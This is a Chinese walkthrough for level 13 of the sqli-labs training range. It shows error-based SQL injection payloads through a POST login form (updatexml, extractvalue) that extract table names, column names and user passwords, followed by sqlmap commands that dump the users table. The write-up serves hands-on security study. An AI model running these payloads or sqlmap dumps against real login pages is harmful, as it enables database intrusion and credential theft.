web——sqliabs靶场——第十三关——报错注入+布尔盲注

发现是单引号加括号闭合的

尝试联合注入

发现不太行,那尝试报错注入。

测试报错注入

uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit

爆数据库

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit

新学一个函数extractvalue()

extractvalue()

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx'
最大只能显示32个字符,所以要配合limit进行使用

爆表名

uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit

通过更改limit后的值来获得表名

爆列名

uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit

更改limit后的值来得到

爆具体内容

uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit

布尔盲注

这个是post传参,和之前的不一样

用sqlmap的post传参来搞

1.用bp抓包,将抓包结果放在456.txt文件里

sqlmap -r 456.txt --batch -dbs

查询到数据库名

2.查询表名

sqlmap -r 456.txt --batch -tables -D security

3.查询列名

sqlmap -r 456.txt --batch -columns -D security -T users

4.查询数据

sqlmap -r 456.txt --batch -dump -D security -T users -C password,username

结束

相关推荐
河阿里3 小时前
MyBatis:高效开发全流程+示例
mybatis
随风,奔跑3 小时前
Mybatis-Plus学习笔记
java·笔记·学习·mybatis
Full Stack Developme21 小时前
MyBatis-Plus YAML 配置教程
mybatis
xuhaoyu_cpp_java21 小时前
MyBatis学习(五)
经验分享·笔记·学习·mybatis
user_admin_god1 天前
SSE 流式响应 Chunk 被截断问题的排查与修复
java·人工智能·spring boot·spring·maven·mybatis
Full Stack Developme1 天前
MyBatis-Plus 注解教程
java·spring·mybatis
ffqws_1 天前
Spring Boot 整合 PageHelper 实现分页查询
java·spring boot·mybatis
MegaDataFlowers1 天前
常用的注解
mybatis
zhougl9961 天前
Redis 防止丢数据
java·redis·mybatis